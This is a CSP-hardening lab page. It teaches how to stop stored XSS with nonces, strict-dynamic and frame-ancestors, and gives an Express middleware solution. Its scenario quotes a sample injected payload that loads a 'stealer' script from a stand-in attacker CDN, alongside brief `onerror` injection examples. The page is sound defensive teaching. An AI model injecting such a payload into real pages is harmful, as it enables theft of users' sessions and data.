100% 브라우저 메모리 연산 • 서버 로그 수집 제로 • 즉각적인 실행
Curious Techie개발자 툴박스
Security, Identity & AuthAdvanced⏱️ 25 min challenge100% Client-Side

Content Security Policy (CSP) Hardening Lab: Eliminating XSS via Nonces, Hashes, and Directive Scoping

Lab Objective

Design a strict, zero-trust Content Security Policy that eliminates stored Cross-Site Scripting (XSS) while permitting legitimate third-party analytics and single-page application hydration.

1. Production Scenario & Incident

A legacy web portal was breached when an attacker injected a stored XSS payload `<script src="https://evil-cdn.xyz/stealer.js"></script>` into user comments. The development team rushed out a weak policy: `default-src * 'unsafe-inline' 'unsafe-eval'`. The security auditor immediately flagged this policy as completely ineffective. You are tasked with replacing this broken policy with a modern CSP Level 3 policy utilizing cryptographic nonces, strict fallbacks, and clickjacking protection.

2. Architectural Background & RFC Standards

Content Security Policy (CSP Level 3) is an HTTP response header that restricts which scripts, styles, images, and frames the browser is allowed to execute or load. It is the web platform's primary mitigation against Cross-Site Scripting (XSS) and data exfiltration.

Key Protocol Mechanics:
  • Directive Hierarchy: `default-src` serves as the fallback for fetch directives (`script-src`, `style-src`, `connect-src`, `img-src`, `font-src`).
  • Cryptographic Nonces: A cryptographically random, single-use token (`nonce-randomBase64`) generated on every HTTP request and attached to `<script nonce="...">`.
  • Cryptographic Hashes: `'sha256-hash'` allows specific inline script blocks to run if their exact text matches the digest.
  • Strict CSP (CSP Level 3): Combining `'strict-dynamic'` with a nonce allows trusted scripts to dynamically load secondary scripts without requiring domain whitelists.
RFC Specifications:W3C Content Security Policy Level 3OWASP CSP Cheat Sheet

3. Hands-On Lab Instructions

1

Test the weak policy `default-src * 'unsafe-inline'` against the simulated malicious script payload.

2

Remove `'unsafe-inline'` and observe how the browser security engine blocks untrusted inline execution.

3

Generate a cryptographically secure 128-bit random nonce in server middleware.

4

Attach the nonce to legitimate inline application scripts and include `'nonce-{RANDOM}'` in the `script-src` directive.

5

Add `frame-ancestors 'none'` to permanently prevent clickjacking and framing attacks.

4. Interactive Lab Workbench

Interactive CSP Policy Evaluator & XSS Simulator
Client-Side Simulation•Active

Craft CSP directives and simulate browser policy enforcement against inline scripts, eval(), external CDN injections, and clickjacking.

Deterministic Engine
Simulation Evaluation OutputReady
Safe script executes; Malicious external script blocked by CSP: violates script-src 'nonce-rAnd0m123' directive.

5. Diagnostic Comprehension Questions

Q1

Why does using domain whitelists (e.g., script-src https://cdnjs.cloudflare.com) in CSP often fail to prevent XSS?

Reveal Answer & Explanation →

✓ Correct Answer: Attackers can locate vulnerable JSONP endpoints, Angular libraries, or host their own files on shared CDNs to bypass the whitelist.

Research by Google security teams demonstrated that over 95% of domain-based CSPs are trivially bypassable because popular public CDNs host outdated libraries or JSONP endpoints that can be chained to execute arbitrary code.

Q2

Which CSP directive should replace the deprecated "X-Frame-Options: DENY" header to stop clickjacking?

Reveal Answer & Explanation →

✓ Correct Answer: frame-ancestors 'none'

While `frame-src` controls what frames your page can EMBED, `frame-ancestors` controls who can EMBED YOUR PAGE. Setting `frame-ancestors 'none'` completely blocks your site from being framed, obsoleting legacy X-Frame-Options headers.

6. Progressive Diagnostic Hints

💡 Hint #1▼
Never reuse the same nonce across multiple requests; it must be generated per-request using `crypto.randomBytes()`.
💡 Hint #2▼
If you have inline scripts you cannot modify, compute their SHA-256 hash using an SRI tool and whitelist the hash.
💡 Hint #3▼
Always set `object-src 'none'` to block Flash, Java applets, and legacy plugin execution vectors.

7. Verified Production Solution

Solution Summary

Implement a strict CSP Level 3 policy using per-request nonces, strict-dynamic, object-src none, base-uri none, and frame-ancestors none.

TYPESCRIPT CONFIGURATION
// Node.js Express Middleware with Strict CSP Level 3
import crypto from 'node:crypto';

export function strictCspMiddleware(req, res, next) {
  // 1. Generate unique 128-bit cryptographic nonce per request
  const nonce = crypto.randomBytes(16).toString('base64');
  res.locals.cspNonce = nonce;

  // 2. Strict CSP Level 3 Policy
  const policy = [
    "default-src 'self'",
    // 'strict-dynamic' allows trusted scripts to load dependencies
    `script-src 'self' 'nonce-${nonce}' 'strict-dynamic' https: 'unsafe-inline'`,
    "style-src 'self' 'unsafe-inline'", // Restrict styles
    "img-src 'self' data: https:",
    "font-src 'self' data:",
    "object-src 'none'", // Block legacy plugins/ActiveX
    "base-uri 'none'", // Prevent <base> tag hijacking
    "frame-ancestors 'none'", // Modern replacement for X-Frame-Options: DENY
    "form-action 'self'", // Prevent form submission hijacking
    "upgrade-insecure-requests"
  ].join('; ');

  res.setHeader('Content-Security-Policy', policy);
  next();
}
Remediation Steps:
  • ✓1. Generate a 16-byte cryptographically secure random token (`crypto.randomBytes(16).toString("base64")`) on every request.
  • ✓2. Inject the nonce into the `Content-Security-Policy` header: `script-src 'nonce-{TOKEN}' 'strict-dynamic'`.
  • ✓3. Pass the nonce to your template engine or Astro layout, rendering `<script nonce="{nonce}">` on valid scripts.
  • ✓4. Set `object-src 'none'` to shut down object/embed/applet vectors.
  • ✓5. Set `base-uri 'none'` to prevent attackers from altering relative URL resolution with injected `<base>` tags.
  • ✓6. Set `frame-ancestors 'none'` to defeat clickjacking attacks across all modern browsers.

8. In-Depth Technical Explanation

결정론적 기술 인과관계 (GEO)

"If an HTML document executes under a strict CSP prohibiting unsafe-inline, any injected script element lacking the server-generated per-request cryptographic nonce is rejected by the browser JavaScript runtime before compilation; the deterministic result is a browser CSP violation event and zero script execution."

Underlying Root Cause Analysis

Cross-Site Scripting occurs when untrusted user input is rendered into the browser DOM as executable code. Traditional sanitization often fails due to complex HTML parsing bugs. CSP operates at the browser execution engine layer: even if an attacker successfully injects `<script src="evil.com">` or `<img onerror="...">` into the DOM, the browser checks the CSP policy before executing the bytecode. If the element lacks the valid cryptographic nonce or hash, execution is halted immediately.

Production Engineering Best Practices

  • →Start with `Content-Security-Policy-Report-Only` and a reporting URI to test policies against real traffic before enforcing them.
  • →Always include `base-uri 'none'` or `base-uri 'self'` to neutralize `<base href>` manipulation attacks.
  • →Adopt the Strict CSP model (`'strict-dynamic'`) rather than maintaining lengthy, fragile domain whitelists.

Common Pitfalls to Avoid

  • ✕Adding `'unsafe-inline'` without a nonce, which negates 99% of CSP XSS protection.
  • ✕Reusing a static hardcoded nonce across multiple requests, allowing attackers to simply copy the nonce into their payloads.
  • ✕Forgetting that `default-src` does not govern `frame-ancestors` or `base-uri` (they require explicit declaration).